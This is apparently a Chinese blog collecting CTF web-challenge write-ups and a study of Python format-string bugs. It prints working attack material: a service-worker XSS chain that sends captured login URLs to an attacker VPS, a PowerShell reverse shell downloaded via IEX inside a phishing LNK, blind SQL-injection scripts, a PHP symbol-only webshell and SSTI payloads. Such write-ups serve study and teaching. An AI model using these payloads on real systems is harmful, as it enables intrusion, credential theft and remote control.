xss持久化以及西湖论剑2020hardxss

Service Worker

Service Worker 是 PWA 技术基础之一,使得Web App 离线缓存成为可能,更为后台同步、通知推送等功能提供了思路。而该技术最核心的一个特性就是,Service Worker 工作线程独立于浏览器主线程,并且与当前的浏览器主线程完全隔离,并且可以用 JS 代码来拦截浏览器当前域的 HTTP 请求,故该特性为XSS的持久化实现提供了基础。

不过service worker的安装本身也存在一定的限制,如限制在 HTTPS 下工作并且安装ServiceWorker的脚本需要当前域下。service worker的注册代码如下:

1
navigator.serviceWorker.register('test.js')

ServiceWorker 在运行过程中使用的是Web Worker ,而Web Worker 线程在对象获取上存在限制,如document、DOM、window这样的对象无法获取,但是可以获取location对象、XMLHttpRequest对象等,并且可以通过importScripts()方法加载其他脚本

西湖论剑2020hardxss

xss点

在xss主机下的login的登录界面发现一个jsonp,其代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
callback = "get_user_login_status";
auto_reg_var();
if(typeof(jump_url) == "undefined" || /^\//.test(jump_url)){
jump_url = "/";
}
jsonp("https://auth.hardxss.xhlj.wetolink.com/api/loginStatus?callback=" + callback,function(result){
if(result['status']){
location.href = jump_url;
}
})
function jsonp(url, success) {
var script = document.createElement("script");
if(url.indexOf("callback") < 0){
var funName = 'callback_' + Date.now() + Math.random().toString().substr(2, 5);
url = url + "?" + "callback=" + funName;
}else{
var funName = callback;
}
window[funName] = function(data) {
success(data);
delete window[funName];
document.body.removeChild(script);
}
script.src = url;
document.body.appendChild(script);
}
function auto_reg_var(){
var search = location.search.slice(1);
var search_arr = search.split('&');
for(var i = 0;i < search_arr.length; i++){
[key,value] = search_arr[i].split("=");
window[key] = value;
}
}

可以看到auto_reg_var()函数存在变量覆盖,故可以将callback变量覆盖掉,且jsonp返回的数据会被当做js代码执行,如?callback=alert(1)既可弹窗,但是存在50个字符的限制,不过可以通过引入外部js或者通过变量覆盖+eval来绕过。

攻击流程

走一下登录流程可以发现账号密码会出现在auth子域名下的url里,故可以获取url来登录admin。从题目描述可知,登录流程发生在管理员访问我们提交的网站之后,故需要xss持久化。由于待获取的url在auth子域名下,所以ServiceWorker的注册过程也得在该域名下进行,而且由于之前提到的安装ServiceWorker的脚本应该与安装代码同域,故我们的攻击流程要同时满足以上两点。

首先要实现通过xss在auth子域名执行js代码。查看auth子域名的源代码我们可以发现:

1
2
3
<script type="text/javascript">
document.domain = "hardxss.xhlj.wetolink.com";
</script>

由于这里设置了document.domain,故我们可以通过iframe实现跨域在auth子域名下执行js,代码如下:

1
2
3
4
5
6
7
8
9
document.domain = "hardxss.xhlj.wetolink.com";
var iff = document.createElement('iframe');
iff.src = 'https://auth.hardxss.xhlj.wetolink.com/';
iff.addEventListener("load", function(){ iffLoadover(); });
document.body.appendChild(iff);
exp = `navigator.serviceWorker.register("xxxx.js")`;
function iffLoadover(){
iff.contentWindow.eval(exp);
}

这样就让serviceWorker通过auth域下的xxxx.js完成了安装,接下来就需要在auth域下找一个可控的js文件,方法就是通过这个jsonp的api。安装serviceWorker用的脚本较为复杂,但是可以使用importScripts()方法加载远程脚本,所以只需要执行

1
navigator.serviceWorker.register("/api/loginStatus?callback=self.importScripts('your_vps/a.js')//")

vps需要能支持https,即可实现serviceWorker的安装。而a.js的内容为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
self.addEventListener('install', function(event) {
console.log('install ok!');
});
self.addEventListener('fetch', function (event) {
console.log(event.request);
event.respondWith(
caches.match(event.request).then(function(res){
return requestBackend(event);
})
)
});
function requestBackend(event){
var url = event.request.clone();
console.log(url);
return new Response("<script>location='http://your_vps/'+location.search;</script>", {headers: { 'Content-Type': 'text/html' }})
}

可以把所有auth域名下http请求的url发至我们的vps。最终的payloadhttps://xss.hardxss.xhlj.wetolink.com/login?callback=eval(atob(a));//&a=ZG9jdW1lbnQuZG9tYWluID0gImhhcmR4c3MueGhsai53ZXRvbGluay5jb20iOwp2YXIgaWZmID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnaWZyYW1lJyk7CmlmZi5zcmMgPSAnaHR0cHM6Ly9hdXRoLmhhcmR4c3MueGhsai53ZXRvbGluay5jb20vJzsKaWZmLmFkZEV2ZW50TGlzdGVuZXIoImxvYWQiLCBmdW5jdGlvbigpeyBpZmZMb2Fkb3ZlcigpOyB9KTsKZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChpZmYpOwpleHAgPSBgbmF2aWdhdG9yLnNlcnZpY2VXb3JrZXIucmVnaXN0ZXIoInh4eHguanMiKWA7CmZ1bmN0aW9uIGlmZkxvYWRvdmVyKCl7CiAgICBpZmYuY29udGVudFdpbmRvdy5ldmFsKGV4cCk7Cn0=


N1CTF2020部分web题解

signin

这个注入还是挺妖的,ip类的__toString可以返回mysql执行的报错信息,而flag类会根据这个返回值是否含有n1ctf来输出不同的信息,所以只需要通过if结构来改变updatexml函数的报错即可。列名貌似被出题人手动改过,故最后采取了无列名注入,exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests

url = 'http://101.32.205.189/?input=O:4:"flag":2:{s:2:"ip";O:2:"ip":1:{s:2:"ip";N;}s:5:"check";s:6:"123456";}'
xff = "aa','123'),(updatexml(1,concat(0x7e,(select '1'),if({},'n1ctf','111')),1),'123')#"
#payload = 'ascii(mid((select(group_concat(SCHEMA_NAME))from(information_schema.schemata)),{},1))={}'
#payload = 'ascii(mid((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{},1))={}'
#payload = 'ascii(binary mid((select(group_concat(column_name))from(information_schema.columns)where(table_name=\'n1key\')),{},1))={}'
#payload = 'ascii(mid((select(key)from(n1key)),{},1))={}'
payload = 'ascii(mid((select binary `2`from(select 1,2 union select * from n1key)a limit 1,1),{},1))={}'


result = ''
headers = {'X-Forwarded-For':''}
for i in range(1,999):
for j in range(33,128):
headers['X-Forwarded-For'] = xff.format(payload.format(i,j))
res = requests.get(url,headers=headers)
if '<code>welcome' in res.text:
result += chr(j)
print(result)
break
if j==127:
print('finish')

The King Of Phish (Victim Bot)

windows下lnk文件钓鱼,而且限制了执行的命令不能有空格,可以用%CommonProgramFiles:10,1%来代替空格。使用工具https://github.com/Plazmaz/LNKUp 来生成恶意lnk文件,为了使最终的payload无空格,需要对这个工具进行修改,把121行改为`link.arguments = ‘/c%CommonProgramFiles:10,1%’ + target`。在自己的vps上放恶意脚本lltest_tcp.ps1,内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function Invoke-lltestTcp
{
$client = New-Object Net.Sockets.TCPClient('yourip',yourport)
$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0}
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
{
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)
$sendback = (iex $data 2>&1 | Out-String )
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> '
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
$stream.Write($sendbyte,0,$sendbyte.Length)
$stream.Flush()
}
$client.Close()
}

然后执行命令:python2 generate.py --host localhost --type ntlm --output out.lnk --execute "powershell%CommonProgramFiles:~10,1%IEX%CommonProgramFiles:~10,1%(New-Object%CommonProgramFiles:~10,1%Net.WebClient).DownloadString('http://yourip/lltest_tcp.ps1');Invoke-lltestTcp"生成payload,nc监听即可接收反弹的powershell

filters

各种filter嵌套多层后会只留下一个字符,通过fuzz来测试出所需字符。由于代码中会让数组乱序,故为了更容易产生想要的shell需要payload尽量短,即<?=`ls`;,把所需字符fuzz出来排好序,然后一直访问等待输出flag即可。exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests
from time import sleep

url = 'http://101.32.188.147:23333/'
payload = '''string.strip_tags|string.toupper|convert.base64-decode|convert.base64-decode|convert.quoted-printable-encode|convert.base64-encode|string.rot13|convert.base64-decode|convert.base64-encode|string.toupper|convert.base64-encode|convert.base64-decode|string.tolower|string.rot13|convert.base64-encode|string.toupper|string.rot13|convert.base64-decode|string.rot13|string.toupper|convert.base64-encode|convert.base64-encode|convert.base64-decode|convert.base64-decode|convert.base64-decode/string.strip_tags|string.toupper|convert.base64-decode|convert.base64-decode|convert.quoted-printable-encode|convert.base64-encode|string.rot13|convert.base64-encode|string.tolower|convert.base64-encode|string.rot13|string.toupper|convert.base64-encode|convert.base64-encode|convert.base64-decode|convert.base64-decode|convert.base64-decode/string.strip_tags|string.toupper|convert.base64-decode|convert.base64-decode|convert.quoted-printable-encode|convert.base64-encode|string.rot13|convert.base64-decode|convert.base64-encode|string.toupper|convert.base64-encode|convert.base64-decode|string.tolower|string.rot13|convert.base64-encode|string.toupper|string.rot13|convert.base64-decode|string.rot13|convert.base64-encode|convert.base64-encode|convert.base64-decode|convert.base64-decode|convert.base64-decode/string.strip_tags|string.toupper|convert.base64-decode|convert.base64-decode|convert.quoted-printable-encode|convert.base64-encode|string.rot13|string.tolower|convert.base64-encode|string.rot13|convert.base64-encode|convert.base64-encode|string.toupper|convert.base64-encode|convert.base64-encode|convert.base64-decode|convert.base64-decode|convert.base64-decode/string.strip_tags|string.toupper|convert.base64-decode|convert.base64-decode|convert.quoted-printable-encode|convert.base64-encode|string.rot13|convert.base64-decode|convert.base64-encode|string.toupper|convert.base64-encode|convert.base64-decode|string.rot13|convert.base64-encode|string.toupper|convert.base64-decode|convert.base64-decode|string.rot13|string.tolower/string.strip_tags|convert.base64-decode|string.rot13|convert.base64-decode|convert.base64-encode|convert.base64-encode|convert.base64-encode|convert.base64-encode|convert.base64-encode|convert.base64-decode|convert.base64-decode|convert.base64-decode|string.tolower/string.strip_tags|string.toupper|convert.base64-decode|convert.base64-decode|convert.quoted-printable-encode|convert.base64-encode|string.rot13|string.tolower|convert.base64-encode|string.rot13|convert.base64-encode|convert.base64-encode|string.toupper|convert.base64-encode|convert.base64-encode|convert.base64-decode|convert.base64-decode|convert.base64-decode/string.strip_tags|string.rot13|convert.base64-decode|convert.base64-decode|convert.base64-encode|string.tolower|convert.base64-decode|string.rot13|convert.base64-encode|string.rot13|convert.base64-encode|string.rot13|string.toupper|convert.base64-encode|convert.base64-encode|convert.base64-decode|convert.base64-decode|convert.base64-decode'''
data = {'filters':payload}

while 1:
res = requests.post(url,data=data)
print(res.text)
sleep(0.2)
if 'n1ctf' in res.text:
print(res.text)
break

GACTF_web题解

EZFLASK

给了部分源码,可以进行eval。传入任意函数名.__globals__可以查看全局变量,发现admin的路由/h4rdt0f1nd_9792uagcaca00qjaf。访问该路由可以发现是个ssrf,调用了python的requests库。由于requests默认追踪302跳转,故可以在自己的vps上放置302跳转来绕过对于本地的限制,扫描主机端口发现5000还开着一个flask,存在无过滤的sti,直接打即可getflag。

SimpleFlask

可以利用joiner.__init__.__globals__["__builtins__"]["open"]("/sys/class/net/eth0/address").read()来读文件,而且开了debug,该payload读不存在文件会触发。然而算出的pin码有误,故尝试rce。经测试["op""en"]等价于["op"+"en"],故可以这样rce:joiner.__init__.__globals__["__builtins__"]["__impo""rt__"]("o""s")["po""pen"]("pwd").read()然而无法绕过空格过滤。最后只能利用这个来绕过flag关键字的过滤,最终payload:joiner.__init__.__globals__["__builtins__"]["open"]("/fl""ag").read()

XWiki

直接用cve就可以打rce,参考链接:https://jira.xwiki.org/browse/XWIKI-16960

最后要执行一个/readflag,但是比完463次大小后也不给flag,最后脑洞到输入的01是flag的二进制,转成字符即可。

carefulyes

rename.php处有一个二次注入

1
2
3
4
5
6
7
8
9
10
if (isset($req['oldname']) && isset($req['newname'])) {
$result = $db->query("select * from `file` where `filename`='{$req['oldname']}'");

if ($result->num_rows > 0) {
$result = $result->fetch_assoc();
$info = $db->query("select * from `file` where `filename`='{$result['filename']}'");
$info = $info->fetch_assoc();
echo "oldfilename : ".$info['filename']." will be changed.";
} else {
exit("old file doesn't exists!");

这里直接把查询出的$result[‘filename’]代入下一个查询,并且会回显执行结果$info[‘filename’]。而filename是上传时可控的,所以我们只需先上传精心构造的文件名,再将其重命名,通过union注入来回显我们想要的数据。

然后直接重命名这个文件就能看到用户名等数据。然后上传的同时直接打反序列化即可。payload:upload.php?data=O%3A6%3A%22XCTFGG%22%3A2%3A%7Bs%3A14%3A%22%00XCTFGG%00method%22%3Bs%3A5%3A%22login%22%3Bs%3A12%3A%22%00XCTFGG%00args%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A2%3A%22XM%22%3Bi%3A1%3Bs%3A9%3A%22qweqweqwe%22%3B%7D%7D

babyshop

.git泄露源码,是用中文变量函数名而且还存在混淆写成的。通过var_dump来输出中文函数的返回值来推测他的功能,最后在念经这个函数发现了问题。这个函数用于输出notes,调用了类的归纳函数,其代码如下:

1
2
3
4
5
public function 归纳()
{
return (string) @造化("沃实泡畏汽吨悔孟沙余纪转冻哥悄便披乎呀段坡汇舌天")($this->朝拜圣地 . 造化("早哥倾逃披乎吨转") . $this->贡品);
//file_get_contents 读notes
}

这里直接用file_get_contents来读取事先写好的notes_sessionid,即$this->贡品是sessionid,所以这里可以通过控制sessionid实现任意文件读取,直接读根目录的flag。本身漏洞难度并不大,然而藏在混淆的代码里很难发现。


安恒杯8月赛web题解

web1

注册以后的发到邮箱里的验证链接的用户名处存在sql报错注入,无waf,直接注入即可,这很真实环境。

ezflask

1
2
3
def safe_jinja(s):
blacklist = ['class', 'attr', 'mro', 'base',
'request', 'session', '+', 'add', 'chr', 'ord', 'redirect', 'url_for', 'config', 'builtins', 'get_flashed_messages', 'get', 'subclasses', 'form', 'cookies', 'headers', '[', ']', '\'', '"', '{}']

黑名单过滤了挺多,我的解应该是非预期。

中括号以及url_for等模板内置函数的过滤让ssti链较难构造,不过还是可以通过self.__dict__来看看还有没有什么可以直接在模板里访问,作为ssti链起始的。最后发现了joiner,用joiner.__init__.__globals__能获取全局变量,但是attr和中括号的过滤使得我们无法利用[‘xxx’]和|attr(‘xxx’)来取元素,而且引号以及request和加号的过滤让我们无法写字符串参数,所以这里我用了set来构造任意字符串:

原理简单说是先凑出一个%c,然后利用python的格式化字符串语法来获取任意ascii对应的字符,利用模板的dict|join来达到连接字符的效果,这里要注意dict的键值不能相同,否则会覆盖。这里产生了__builtins__open/flag三个字符串。然后在ssti链里用pop来取参数,payload为joiner.__init__.__globals__.pop(c1).pop(c2)(c3).read(),先pop出__builtins__,然后再pop出open函数,再用/flag作为open的参数,然后读取。完整payload:

ezrce

1
$_=array('a','b','c','d','e','f','g','h','i','j','k','m','n','l','o','p','q','r','s','t','u','v','w','x','y','z','@','\~','\^','\[','\]','\&','\?','\<','\>','\*','1','2','3','4','5','6','7','8','9','0');

黑名单留了$,_以及/,+,;等字符,足以构建一个webshell。基本思路是通过(‘!’==’!’)/(‘!’==’‘)即1/0来获得数字INF,然后把INF.’\‘来获得字符串INF_,然后INF_{1}获得字符N,N保存到变量$_里后,$_++获得O。Z++变为AA,再{1}获得A,这样就能获得所有字母。然后拼接出$_=_GET,直接${$_}{‘_‘}(${$_}{‘__‘})执行命令即可。贴一个payload:

1
'_');$_=('!'=='!')/('!'=='_');$_=$_.(_);$__=$_{'!'=='!'};$__++;$__++;$__++;$__++;$_______=$__;$__++;$____=$__.$__.$__;$__++;$______=$__;$____=$____.$__;$__++;$__++;$__++;$__++;$__++;$____{'_'=='_'}=$__;$__++;$__++;$__=$__{'!'=='_'};$__++;$__++;$__++;$__++;$____=$____.$__;$_____=$__.$______;$__++;$__++;$_____=$__.$_____;$_____='_'.$_____;$__++;$__++;$__++;$__++;$__++;$__++;$____=$____.$__;(${$_____}{'__'})(${$_____}{'_'});//

CyBRICS2020 web writeup

Gif2Png

功能挺简单,传文件和下载。在上传文件的文件名处可以看到一个明显的命令注入,但是存在过滤

1
2
3
4
5
6
7
8
 if not bool(re.match("^[a-zA-Z0-9_\-. '\"\=\$\(\)\|]*$", file.filename)) or ".." in file.filename:
logging.debug(f'Invalid symbols in filename: {file.content_type}')
flash('Invalid filename', 'danger')
return redirect(request.url)
'''
省略
'''
command = subprocess.Popen(f"ffmpeg -i 'uploads/{file.filename}'\"uploads/{uid}/%03d.png\"", shell=True)

存在一些符号的过滤,但是可以通过base64编码+管道符解码执行来绕过,测试时发现环境无法通外网,使得外带数据和反弹shell都无效。不过看代码的upload路由

1
2
3
4
5
@app.route('/uploads/<uid>/<image>')
def image(uid, image):
logging.debug(request.headers)
dir = str(Path(app.config['UPLOAD_FOLDER']) / uid)
return send_from_directory(dir, image)

可以想到利用命令执行把执行结果写道uploads/uid目录下然后直接访问即可,故最终payload

WoC

web端计算器一定存在eval等动态执行的调用,然而检测计算式的正则十分复杂,难以绕过。然后在newtemplate.php里发现了一处可控的写入:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
if (trim(@$_POST['html'])) {
do {
$html = trim($_POST['html']);
if (strpos($html, '<?') !== false) {
$error = "Bad chars";
break;
}

$requiredBlocks = [/**/];

foreach ($requiredBlocks as $block) {
if (strpos($html, $block) === false) {
$error = "Missing required block: '$block'";
break(2);
}
}

$uuid = uuid();
if (!file_put_contents("calcs/$userid/templates/$uuid.html", $html)) {
$error = "Unexpected error! Contact orgs to fix. cybrics.net/rules#contacts";
break;
}

检测了<?头导致无法写入php的shell。但是在calc.php里有这样的一个写入:

1
2
3
if (@$_POST['share']) {
$calc = uuid();
file_put_contents("calcs/$userid/$calc.php", "<script>var preloadValue = <?=json_encode((string)($field))?>;</script>\n" . file_get_contents("inc/calclib.html") . file_get_contents("calcs/$userid/templates/$template.html"));

$field为输入的计算式,最后拼接的文件是自定义的模板。所以这里可以令计算式为/,恰好是除号和乘号不会被正则检测,然后自定义的模板处补上\/注释掉了中间的语句,使得<?=可以作为我们自定义模板的标签头。然后就是写shell了,payload如下:

*/11));eval($_REQUEST[1]);?>id="back"',(补充其他的需求字符)

获取自定义的模板的名称,然后写shell

​ 访问返回的php文件路径执行shell即可


XCTF高校战“疫”赛fmkq出题笔记

前言

在接出题的活之前正好研究了一下python里格式化字符串的利用(具体可以看前边的文章),所以就直接拿这个知识点来出了一道题目。至于题目名fmkq的选取来源于这个地方:

预期解

进入题目环境先是一个php的ssrf:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php 
error_reporting(0);
if(isset($_GET['head'])&&isset($_GET['url'])){
$begin = "The number you want: ";
extract($_GET);
if($head=='') {
die('Where is you head?');

}
if(preg_match('/log/i',$url)){
die('No No No');
}
if(preg_match('/[A-Za-z0-9]/i',$head)){
die('Head can\'t be like this!');
}
if(preg_match('/gopher:|file:|phar:|php:|zip:|dict:|imap:|ftp:/i',$url)){
die('Don\'t use strange protocol!');
}
$funcname = $head.'curl_init';

$ch = $funcname();
if($ch){
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
curl_close($ch);
}
else{
$output = 'rua';
}
echo sprintf($begin.'%d',$output);
}
else{
show_source(__FILE__);

由于这题的主要考点在python端,所以我在php端的考点就相对随意了一点,主要是几个trick。在head的选取上,考的就是P神在code-breaking里考过的小trick,反斜杠加在函数名前边可以正常执行,原因是被视为命名空间。而在ssrf的内容外带上,利用extract的变量覆盖可以将预设的$begin的内容改变为%s%,这样sprintf的第一个参数就变为了%s%%d。在php的格式化字符串里%%被视作一个%字符,而前边的%s就可以获取$output的内容,接下来就是利用php的ssrf打本机python的api。

简单扫描本机端口发现http://127.0.0.1:8080有回显

Welcome to our FMKQ api, you could use the help information below To read file: /read/file=example&vipcode=example if you are not vip,let vipcode=0,and you can only read /tmp/{file} Other functions only for the vip!!!

这里我放了一个提示{file},就是提示python格式化字符串{}里的参数是file。由于非vip无法读取/tmp目录以外的东西,所以要先获得vipcode。先看看file参数对应的对象有什么属性:

head=\&begin=%s%&url=http://127.0.0.1:8080/read/file%3d{file.__dict__}%26vipcode%3d0

可以看到该对象的属性里存在一个vip对象,用如下payload查看vip这个对象有什么属性:

head=\&begin=%s%&url=http://127.0.0.1:8080/read/file%3d{file.vip.__dict__}%26vipcode%3d0

可以直接看到truevipcode这个属性和它的值。有了vipcode以后就可以尝试读文件:

head=\&begin=%s%&url=http://127.0.0.1:8080/read/file%3dapp.py%26vipcode%3dnQ0ErTMlJHZ8DVpGcAyaIWuvXqhmBC3Ob5kji62tzFdYxw71

再根据app.py的模块包含关系读其他的文件。可以发现在vip读文件时会列出当前目录的其他文件,我们只需要读/xxx就可以看到根目录下flag文件所在目录,然而可以在代码里看到fl4g被ban了。重新审计vipreadfile的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
current_folder_file = []

class vipreadfile():
def __init__(self,readfile):
self.filename = readfile.GetFileName()
self.path = os.path.dirname(os.path.abspath(self.filename))
self.file = File(os.path.basename(os.path.abspath(self.filename)))
global current_folder_file
try:
current_folder_file = os.listdir(self.path)
except:
current_folder_file = current_folder_file

def __str__(self):
if 'fl4g' in self.path:
return 'nonono,this folder is a secret!!!'
else:
output = '''Welcome,dear vip! Here are what you want:\r\nThe file you read is:\r\n'''
filepath = (self.path + '/{vipfile}').format(vipfile=self.file) # vulnerability
output += filepath
output += '\r\n\r\nThe content is:\r\n'
try:
f = open(filepath,'r')
content = f.read()
f.close()
except:
content = 'can\'t read'
output += content
output += '\r\n\r\nOther files under the same folder:\r\n'
output += ' '.join(current_folder_file)
return output

当前目录文件被保存在一个全局变量里,而filepath赋值这里依然存在一个格式化字符串漏洞。根据代码可知,文件的绝对路径会被保存到self.path中,并且会在格式化字符串时与文件名拼接。而格式化后的字符串作为被读取的文件。所以我们只需要通过格式化字符串漏洞来获取全局变量里的文件名来绕过对fl4g的检测即可。读取一个/xxx来把这个全局变量赋值为根目录的文件,再读取/{vipfile.__class__.__init__.__globals__[current_folder_file][21]}/flag来获取flag的内容。至于为什么这个payload可以获取全局变量,我之前的博客里有写。

非预期&&一些问题

非预期1 读apache log

比赛前测试的时候想到可能会有人读apache的log来非预期,所以我临时在php端加了一个log的正则,然而这个正则可以通过二次url编码来绕过的,后来想了想应该加在python端。而且部分师傅在比赛时遇到了随机生成的vipcode里出现了log字符串的问题导致无法正常做题,出题人在这里谢罪了。虽然也可以二次url编码vipcode来绕过,但是我也不能明说,否则有可能都去读apache log了。

非预期2 字符串截取

Nu1L的做法:

确实没想到这个,过滤的内容与flag这四个字母不相同可以避免这个非预期


Python格式化字符串研究

本文首发于合天智汇https://mp.weixin.qq.com/s/Ww1QviZyYxnNbIil_0BW2Q

前言

前两天与队友交流时提及python的格式化字符串漏洞,这个漏洞之前接触不多,所以写篇文章从基础部分仔细研究了研究。python环境是python3.7。

Python3里的格式化字符串

python3中的格式化字符串主要有以下两种形式:

1
2
"test %s" % ('test')
"test {0}".format('test')

这两个语句的输出都是test test。虽然效果一样,但是在python web的开发中一般认为前者比后者要安全,因为后者可能会因为自身支持的一些特殊用法导致配置信息等的泄露。

首先,format形式的格式化字符串基本用法如下:

1
"I am {1},he is {0}".format("a","b")

这个语句的输出是I am b,he is a,大括号{}中的数字代表了format的变量顺序。

1
"I am {MyName},he is {HisName}".format(MyName="aa",HisName="bb")

这个语句的输出是I am aa,he is bb,这种语句可以在format函数的参数通过key来赋值。

1
"I am {},he is {}".format("a","b")

这个语句的输出是I am a,he is b,这样的用法会让大括号与format的参数一一对应。

当大括号与format的参数不能一一对应的时候便会报错,例如:

1
2
"I am {0},he is also {0}".format('a')
"I am {0},he is also {1}".format('a')

前者会输出I am a,he is also a,而后者会报错tuple index out of range

这些format函数的基本用法并不是导致格式化字符串漏洞的根源,查看下列代码:

1
"first {0[1]}, second {0}".format(['a','b'])

输出为first b, second ['a', 'b'],可见当format函数的参数是一个列表时,可以通过用方括号添加索引的方式来获取列表的值。同样的,这种用法也可以用在类的属性上,比如以下代码会输出字符串a的内置属性__class__:

1
print("{0.__class__}".format('a'))

输出结果是<class 'str'>

一般利用

python的格式化字符串的利用与沙盒逃逸或者python SSTI很相似,但format与后两者的区别在于它只能读取属性而不能执行方法,这就限制了格式化字符串的利用与攻击链的构造。举个例子,python SSTI中可以通过'a'.__class__.__base__.__subclasses__()[12]来获取任意类,但是由于format函数无法执行__subclasses__()这样的方法,直接把这种payload套进格式化字符串的利用中会报错type object 'object' has no attribute '__subclasses__()'

在与队友讨论时我们用的测试代码简化如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from secret.secret import secret


class AppendStr(object):
def __init__(self, message = 'test'):
self.message = message

def __str__(self):
return self.message

def test():
s = input("test\n")
t = s + " by the way {0}"
print(t.format(AppendStr()))

while(1):
test()

可以看到这里format函数的参数是一个对象的实例,而secret保存在全局变量中。熟悉SSTI或者沙箱绕过的都知道,python的函数类有一个内置属性__globals__可以以字典的形式返回函数所在的全局命名空间所定义的全局变量。结合format函数的格式化字符串可以读取成员属性的特性,我们很容易知道只需通过一个调用链来获取一个函数类并读取它的__globals_属性即可。这里我们可以使用这样的payload:`{0._class.init.globals}。由于AppendStr类定义了\_\_init\_\_函数,所以可以通过{0.class.init}来获取一个函数类<function AppendStr.init at 0x0000019C611D2730>`,再读取这个类的__globals__属性来获取secret。这个思路也适用于一切的类的成员函数,假如把测试代码改为如下:

1
2
3
4
5
6
7
def test():
s = input("test\n")
t = s + " by the way {0}"
print(t.format('test'))

while(1):
test()

如果机械地套用上边的payload会报错'wrapper_descriptor' object has no attribute '__globals__'。可以通过以下代码来查看字符串类的成员属性:

1
print('a'.__class__.__dict__)

输出很多这里就不一一列举了。可以在输出的结果中看到字符串类并没有function类型的成员属性,所以不能通过格式化字符串来获得全局变量。

Flask下读取secret_key

把情景切换到flask下写出如下的测试代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from flask import Flask
from flask import request


app = Flask(__name__)
app.config['SECRET_KEY'] = 'gasidfjbodnjgfnof'

class AppendStr(object):
def __init__(self, message = 'test'):
self.message = message

def __str__(self):
return self.message


@app.route('/', methods=['GET'])
def index():
template = 'Hello {0}, This is your email: ' + request.args.get('email')
return template.format(AppendStr())


if __name__ == '__main__':
app.run('0.0.0.0', 8080)

前置步骤与之前讲的相似,get方法提交参数?email={0.__class__.__init__.__globals__}可以看到当前的全局变量,然而secret_key并不会出现在返回中。我本地测试时返回的是这些数据:

似乎不能简单粗暴地通过这个payload来获取secret_key,我们再看看flask的代码app.py:

1
2
3
4
5
6
7
8
9
10
11
12
# 部分包及代码省略
from .config import Config, ConfigAttribute

class Flask(_PackageBoundObject):
# 注释省略
config_class = Config

testing = ConfigAttribute('TESTING')

secret_key = ConfigAttribute('SECRET_KEY')

session_cookie_name = ConfigAttribute('SESSION_COOKIE_NAME')

可以看到Flask类的属性secret_key会保存当前的secret_key的值,而上边返回的全局变量里有'app': <Flask 'template'>。我这个文件名是template,这就是当前的Flask类实例化的对象。所以只需要在上边那个payload后补充一些东西就能拿到secret_key,其内容如下:?email={0.__class__.__init__.__globals__[app].secret_key}

django下读取SECRET_KEY

p师傅很早以前写过一篇文章讲解过这个利用方法,其链接如下:https://www.leavesongs.com/PENETRATION/python-string-format-vulnerability.html。p师傅在文章中给出了两个payload,但并没有仔细讲解其原理。所以我这里就逐步分析下其中一个payload的构造,另一个payload思路类似。测试代码如下:

1
2
3
4
5
6
from django.http import HttpResponse


def index(request):
template = 'Hello {user}, This is your email: ' + request.GET.get('email')
return HttpResponse(template.format(user=request.user))

在未登录状态下,request.user是类AnonymousUser的实例化对象,类定义在django/contrib/auth/models.py文件中395行:

402行看到该对象的_groups属性是一个EmptyManager类的对象。429行可知该对象的groups方法也被转化为了名为groups且值与_groups相同的类属性。EmptyManager类定义在django/db/models/manager.py的195行

可以看到这个对象的model属性是与AnonymousUser类定义在同一个文件中的Group类,在django/contrib/auth/models.py文件中91行:

Group类本身定义的东西没什么好看的,一路跟随至其父类的父类ModelBase,定义在django/db/models/base.py的71行,有):

在121行可以看到该类的_meta属性是一个Options类实例化的对象。跟踪至django/db/models/options.py的65行可以看到类定义(此处由于代码太长不截图了):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from django.apps import apps
# 省略


class Options:
# 省略
default_apps = apps

def __init__(self, meta, app_label=None):
self.app_label = app_label
self.apps = self.default_apps
# 省略
@property
def app_config(self):
# Don't go through get_app_config to avoid triggering imports.
return self.apps.app_configs.get(self.app_label)
# 省略

可以看到app_config方法被转化为了只读属性,而该属性返回self.apps.app_configs.get(self.app_label)。审计代码可以清楚得发现self.apps就是导入的apps模块,即一个module类的对象。跟踪至django/apps/registry.py,可以看到类Apps的定义里,即原文件13行有

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
class Apps:
def __init__(self, installed_apps=()):
self.app_configs = {}
# 省略
def populate(self, installed_apps=None):
# 省略
for entry in installed_apps:
if isinstance(entry, AppConfig):
app_config = entry
else:
app_config = AppConfig.create(entry) # 91行
if app_config.label in self.app_configs:
raise ImproperlyConfigured(
"Application labels aren't unique, "
"duplicates: %s" % app_config.label)

self.app_configs[app_config.label] = app_config # 97行

跟踪91行的AppConfig.create至django/apps/config.py,有:

1
2
3
4
5
class AppConfig:
# 省略
def create(cls, entry):
try:
module = import_module(entry)

这个Options类实例化的对象的app_config属性返回会返回一个对象,而这个对象的module属性是python的一个模块即module。而对于我的测试代码这种情景,module的内容为<module 'django.contrib.auth' from 'C:\\python37\\lib\\site-packages\\django\\contrib\\auth\\__init__.py'>。查看该模块的代码,可以在文件django/contrib/auth/admin.py中看到

1
2
from django.conf import settings
# 省略

